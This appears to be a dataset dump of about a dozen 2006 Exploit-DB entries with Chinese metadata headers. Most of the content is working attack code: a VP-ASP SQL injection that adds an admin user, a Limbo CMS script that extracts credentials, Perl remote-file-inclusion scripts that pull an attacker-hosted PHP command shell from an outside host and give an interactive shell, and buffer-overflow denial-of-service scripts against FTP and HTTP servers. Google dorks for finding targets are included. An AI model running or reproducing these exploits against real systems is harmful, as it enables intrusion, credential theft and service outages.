QLWD/code_shield huggingface dataset:
标题: VP-ASP 6.00 - 'shopcurrency.asp' SQL Injection EDB-ID: 1759 CVE: 2006-2263 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-06 漏洞利用脚本: VP-ASP 6.00 SQL Injection / Exploit by tracewar(tracewar@gmail.com)

people claimed there is some underground sploit for vp-asp 6.00 and I was sure that
if a sploit really exist in the ug i can find the bug and make a small hack for it ^^
well it didn't take me more then 5 minutes to find a bug in vp-asp.

* the vendor was already notified.

p.s. before we get to the bug/hack.. I'm not responsible for any illegal actions
taken by people using the information in this document, if you don't agree please stop reading
and close this text document asap.

* this information is for educational purposes only!

----

The SQL Injection bug is in the shopcurrency.asp file under the "cid" query.

quick hack to add user a/a:

/shopcurrency.asp?cid=AUD';insert into tbluser ("fldusername","fldpassword","fldaccess") values ('a','a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')--

and for those of you that don't know sql at all
this is how you remove the user 'a':

/shopcurrency.asp?cid=AUD';delete from tbluser where fldusername='a'--

-tracewar

# milw0rm.com [2006-05-06] URL: https://www.exploit-db.com/exploits/1759
标题: Jetbox CMS 2.1 - 'relative_script_path' Remote File Inclusion EDB-ID: 1761 CVE: 2006-2270 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-07 漏洞利用脚本: #!/usr/bin/perl
############
# JetBox CMS Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:#  perl own.pl <host> <cmd-shell-url> <cmd-var>
#   perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable 
# relative_script_path in a include() function without being declared. 
# This issue has already been fixed in phpdig, but jetbox still uses a 
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while()
{
 print "[shell] \$";
 while(<STDIN>)      {
  $cmd=$_;
  chomp($cmd);
  if (!$cmd) {last;}  
  $xpl = LWP::UserAgent->new() or die;
  $req = HTTP::Request->new(GET =>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
  $res = $xpl->request($req);
  $return = $res->content;
  $return =~ tr/[\n]/[ê]/;
  
  if ($return =~/Error: HTTP request failed!/ ) {
   print "\nInvalid path for phpshell\n";
   exit;
  } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
   print "\nComando Invalido, o no hubo respuesta\n\n";
  }
  if ($return =~ /(.*)/) {
   $finreturn = $1;
   $finreturn=~ tr/[ê]/[\n]/;
   print "\r\n$finreturn\n\r";
   last;
  } else {
   print "[shell] \$";
  }

 }

} last;

sub head()  { 
  print "\n============================================================================\r\n";
  print " JetBox CMS Remote File Include\r\n";
  print "============================================================================\r\n";
 }
 
sub usage() {
  head();
  print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
  print " <host> - Full Path : http://host/jetbox/ [remember the trailing slash noob]\r\n";
  print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
  print " <var> - var name used in phpshell : cmd  \r\n";
  exit();
 }

# milw0rm.com [2006-05-07] URL: https://www.exploit-db.com/exploits/1761
标题: Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion EDB-ID: 1765 CVE: 2006-2285 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-08 漏洞利用脚本: #!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:#  perl own.pl <host> <cmd-shell-url> <cmd-var>
#   perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable 
# includePath in a include() function without being declared. 
# This issue has already been fixed in current claroline.net version, 
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
 print "[shell] \$";
 while(<STDIN>)      {
  $cmd=$_;
  chomp($cmd);
  if (!$cmd) {last;}  
  $xpl = LWP::UserAgent->new() or die;
  $req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
  $res = $xpl->request($req);
  $return = $res->content;
  $return =~ tr/[\n]/[ê]/;
  if ($return =~/Error: HTTP request failed!/ ) {
   print "\nInvalid path for phpshell\n";
   exit;
  } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
   print "\nInvalid Command, error.\n\n";
  }
  if ($return =~ /(.*)/) {
   $finreturn = $1;
   $finreturn=~ tr/[ê]/[\n]/;
   print "\r\n$finreturn\n\r";
   last;
  } else {
   print "[shell] \$";
  }
 }
} last;

sub head()  { 
 print "\n============================================================================\r\n";
 print "  Dokeos Learning Management System Remote File Include\r\n";
 print "============================================================================\r\n";
 }
 
sub usage() {
 head();
 print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
 print " <host> - Full Path : http://host/dokeos/ \r\n";
 print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
 print " <var> - var name used in phpshell : cmd  \r\n\r\n";
 exit();
 }

# milw0rm.com [2006-05-08] URL: https://www.exploit-db.com/exploits/1765
标题: TotalCalendar 2.30 - 'inc' Remote File Inclusion EDB-ID: 1753 CVE: 2006-7055 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-05 漏洞利用脚本: Title: TotalCalendar <=2.30 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: SweetPHP
URL: http://sweetphp.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by TotalCalendar"
-----------------------------------------------------------------

Exploitation:

/index.php?inc_dir=http://www.yourspace.com/yourscript.php?
/index.php?inc_dir=http://www.yourspace.com/yourscript.txt?&ls%20-laF

# milw0rm.com [2006-05-05] URL: https://www.exploit-db.com/exploits/1753
标题: TinyFTPD 1.4 - 'USER' Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 1758 CVE: 2006-7007 类型: DOS 平台: WINDOWS 发布日期: 2006-05-06 漏洞利用脚本: #!/bin/perl
#
# Title: TinyFTPD <= 1.4 USER command D.O.S
# Credits: [Oo]
#
#
use IO::Socket;

print "[i] TinyFTPD <= 1.4 USER command D.O.S\n";
print "[i] coded by [Oo]\n";


if (@ARGV < 2)
{
 print "\n[*] Usage: tinyftpd_dos.pl host port\n";
 print "[*] Exemple: tinyftpd_dos.pl 192.168.0.1 21\n";
 exit;
}


$ip = $ARGV[0];
$port = $ARGV[1];

$exploit = "(A" x 9000;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending bad request...\n";

print $socket "USER $exploit\n";
sleep(5);
close($socket);

print "[?] DoSed?\n";

# milw0rm.com [2006-05-06] URL: https://www.exploit-db.com/exploits/1758
标题: Limbo CMS 1.0.4.2 - 'catid' SQL Injection EDB-ID: 1751 CVE: 2006-2363 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-05 漏洞利用脚本: <pre>
[i] Limbo CMS (option=weblinks) sql injection exploit
[i] coded by [Oo]
<?php

if( (!isset($_GET['host'])) || (!isset($_GET['path'])) || (!isset($_GET['id'])))
{
?> 
[*] Usage: <?echo htmlentities($PHP_SELF)?>?host=[hostname]&path=[limbo_path]&id=[user_id]
[*] Exemple: <?echo htmlentities($PHP_SELF)?>?host=127.0.0.1&path=/limbo&id=1

[g] Google: inurl:"index2.php?option=rss" OR "powered By Limbo CMS" 
<?php
die;
}

$host = $_GET['host'];
$path = $_GET['path'];
$id = $_GET['id'];

$success = 0;

$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
   die("[-] Connection Error!");
} 
else {

   $out = "GET $path/index.php?option=weblinks&Itemid=44&catid=-1%20union%20select%200,1,2,concat(char(0x6c,0x6f,0x67,0x69,0x6e,0x3a),username,char(0x20,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3a),password),4,5,6,7,8,9,10,11%20from%20lm_users%20where%20id=$id/* HTTP/1.1\r\n";
   $out .= "Host: $host\r\n";
   $out .= "Connection: Close\r\n\r\n";

   fwrite($fp, $out);
   while (!feof($fp)) {
    $f = fgets($fp, 1024);
       if ( (preg_match("/<div class=\"componentheading\" >/",$f)) && (preg_match("/login/",$f)) )
       {
   echo "$f";
   echo "[+] Enjoy! :><br>";
   $success = 1;
    }
   }
   fclose($fp);
   
   if (!$success)
 echo "<br>[-] exploit failed :<<br>";
}
?> 
</pre>

# milw0rm.com [2006-05-05] URL: https://www.exploit-db.com/exploits/1751
标题: StatIt 4 - 'statitpath' Remote File Inclusion EDB-ID: 1752 CVE: 2006-2253 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-05 漏洞利用脚本: #!/usr/bin/perl
##
# Statit V4 Remote File Inclusion exploit
# Bug discovered By IGNOR3
# IGNOR3_llvlle@yahoo.com
# http://www.smart-boys.com
# Google Search=inurl:statit.php
# usage:
# perl statit.pl <target> <cmd shell location> <cmd shell variable>
# perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'visible_count_inc.php?statitpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print "\n============================================================================\r\n";
 print " Statit V4 Remote File Inclusion exploit\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl statit.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex: http://www.site.com/statit/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.golha.net/ignor3/shell.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           BUG DISCOVERED BY IGNOR3 \r\n";
 print "                           Yahoo ID: IGNOR3_llvlle \r\n";
 print "                           http://www.smart-boys.com \r\n";
 print "============================================================================\r\n";
 print " Download The Video: http://www.ignor3.persiangig.com/video/statit.rar \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-05] URL: https://www.exploit-db.com/exploits/1752
标题: acFTP FTP Server 1.4 - 'USER' Remote Buffer Overflow (PoC) EDB-ID: 1749 CVE: 2006-2242 类型: DOS 平台: WINDOWS 发布日期: 2006-05-04 漏洞利用脚本: ################################################
#===== acFtpd BoF Crash Exploit =====
#
# There is a Buffer overflow at the
# USER command in acFtpd.
#
# Vuln found by: Preddy
# RootShell Security Group
#
# Usage: ac_dos.pl <ip>
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";
my $overflow = "A{" x 4700;

if($ARGV[0] == "")
{
print "################################################\n";
print "# ===== acFtpd BoF Crash Exploit =====\n";
print "#\n";
print "# Vuln found by: Preddy\n";
print "# RootShell Security Group\n";
print "# www.rootshell-security.net\n";
print "#\n";
print "# Usage ac_dos.pl <ip>\n";
print "################################################\n";
}

        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Sending Overflow String!\n";
                print "Ftp should be crashed!\n";

                Win32::Sleep(300);

                print $socket "USER $overflow\r\n";

                Win32::Sleep(100);


                close($socket);
        }

# milw0rm.com [2006-05-04] URL: https://www.exploit-db.com/exploits/1749
标题: Auction 1.3m - 'phpbb_root_path' Remote File Inclusion EDB-ID: 1747 CVE: 2006-2245 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-04 漏洞利用脚本: #!/usr/bin/perl
##
#phpBB auction mod - Remote File Inclusion Vuln
# Bug discovered by VietMafia
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
# dork: intext:"phpbb - auction" inurl:"auction"
# usage:
# perl wb1.pl <target> <cmd shell location> <cmd shell variable>
# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'/auction/auction_common.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 


$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print "  phpBB auction mod - Remote File Inclusion Vuln\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-04] URL: https://www.exploit-db.com/exploits/1747
标题: zawhttpd 0.8.23 - GET Remote Buffer Overflow (Denial of Service) (PoC) EDB-ID: 1746 CVE: 2006-2222 类型: DOS 平台: LINUX 发布日期: 2006-05-04 漏洞利用脚本: #!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
{
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        close($socket);
}
else
{
        print "perl zawhttpd.pl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#EoF 

# milw0rm.com [2006-05-04] URL: https://www.exploit-db.com/exploits/1746
标题: Albinator 2.0.6 - 'Config_rootdir' Remote File Inclusion EDB-ID: 1744 CVE: 2006-2182 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-03 漏洞利用脚本: #!/usr/bin/perl
##
#Albinator Multiple Parameter File Inclusion 
# Bug discovered by VietMafia and r0t
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
#Dork:"powered by Albinator "
# usage:
# perl wb.pl <target> <cmd shell location> <cmd shell variable>
# perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'eshow.php?Config_rootdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 
## can change eshow.php to eday.php or forgot.php

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " Albinator Multiple Parameter File Inclusion\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Albinator ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-03] URL: https://www.exploit-db.com/exploits/1744
标题: Golden FTP Server Pro 2.70 - 'APPE' Remote Buffer Overflow (PoC) EDB-ID: 1743 CVE: 2006-2180 类型: DOS 平台: WINDOWS 发布日期: 2006-05-03 漏洞利用脚本: #!/usr/bin/perl

#
-----------------------------------------------------------------------------------------
# Golden FTP Server Pro 2.70 Remote APPE command PoC exploit : DoS
# /JA
# https://www.securinfos.info
#
-----------------------------------------------------------------------------------------

use Net::FTP;

$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

if (($host) && ($port)) {

# Exploit string (try with a different value if needed)
$exploit_string = "./A" x 1000;

      print "Trying to connect to $host:$port\n";
      $sock = Net::FTP->new("$host",Port => $port, TimeOut => 60, Debug=> $debug) or die "[-] Connection failed\n";
      print "[+] Connect OK!\n";
      print "Logging...\n";
      if (!$user) {
           $user = "test";
           $pass = "test";
      }
      $sock->login($user, $pass);
      sleep(1);
      $answer = $sock->message;
      print $answer ."\n";
      print "Sending string...\n";
      $sock->quot("APPE",$exploit_string);
} else {
      print "Golden FTP Server Pro 2.70 - Remote APPE command PoC
exploit : DoS\nhttps://www.securinfos.info\n\nUsing: $0 host port [debug: 1 or 0] username password\n\n";
}

# milw0rm.com [2006-05-03] URL: https://www.exploit-db.com/exploits/1743
标题: acFTP FTP Server 1.4 - 'USER' Remote Denial of Service EDB-ID: 1757 CVE: 2006-2242 类型: DOS 平台: WINDOWS 发布日期: 2006-05-06 漏洞利用脚本: /**
Exploit for : acFTP 1.4 DoS Exploit
Advisory : http://secunia.com/advisories/19978/
Coder : Omnipresent
Email : omnipresent@email.it
Description : Preddy has discovered a vulnerability in acFTP, which can be exploited by malicious people to cause a DoS (Denial of Service).
The vulnerability is caused due to an error within the handling of the argument passed to the 
"USER" command. This can be exploited to crash the FTP server via an overly long argument that 
contains certain character sequences.

The vulnerability has been confirmed in version 1.4. Other versions may also be affected.

Date: 05/06/2006 - M/D/Y
**/

#ifdef _WIN32
#include <winsock2.h>

SOCKET sock;
WSADATA wsaData;
WORD wVersionRequested;

#else
#include <sys/socket.h>
#include <netinet/in.h>
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1

int sock;
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
char buf[2505];
struct sockaddr_in saddr;
unsigned long ip;
int i;

if (argc != 2)
{
printf("acFTP 1.4 USER Command - DoS Exploit!\r\n");
printf("Coded by OmniPresent - omnipresent@email.it\r\n");
printf("acFTP 1.4 - DoS Exploit!rn");
printf("Advisory: http://secunia.com/advisories/19978/");
printf("%s <IP_Address>\r\n", argv[0]);

exit(1);
}

ip = inet_addr(argv[1]);

#ifdef _WIN32
wVersionRequested = MAKEWORD(2, 2);
if (WSAStartup(wVersionRequested, &wsaData) < 0)
{
printf("Unable to initialise Winsockr\n");
exit(1);
}
#endif


if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("Socket Error \n");
exit(1);
}


memset(&saddr,'0', sizeof(saddr));
saddr.sin_port = htons(21); //21 is the default port of acFTP service (change it if necessary)
saddr.sin_family = AF_INET;
memcpy(&saddr.sin_addr, (unsigned long *)&ip, sizeof((unsigned long *)&ip));

if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
printf("Connect Error \n");
exit(1);
}

sleep(2); 
    
    buf[0]='U';
    buf[1]='S';
    buf[2]='E';
    buf[3]='R';
    buf[4]=' ';
    i = 5;
while (i < 2500) {

buf[i] = 'A';
i++;
buf[i] = '{';
i++;
}
strcat(buf, "\r\n");

printf("%s\n",buf);


send(sock, buf, sizeof(buf), 0);

#ifdef _WIN32
closesocket(sock);
#else
close(sock);
#endif
printf("DoS Attack Done!\n");
}

// milw0rm.com [2006-05-06] URL: https://www.exploit-db.com/exploits/1757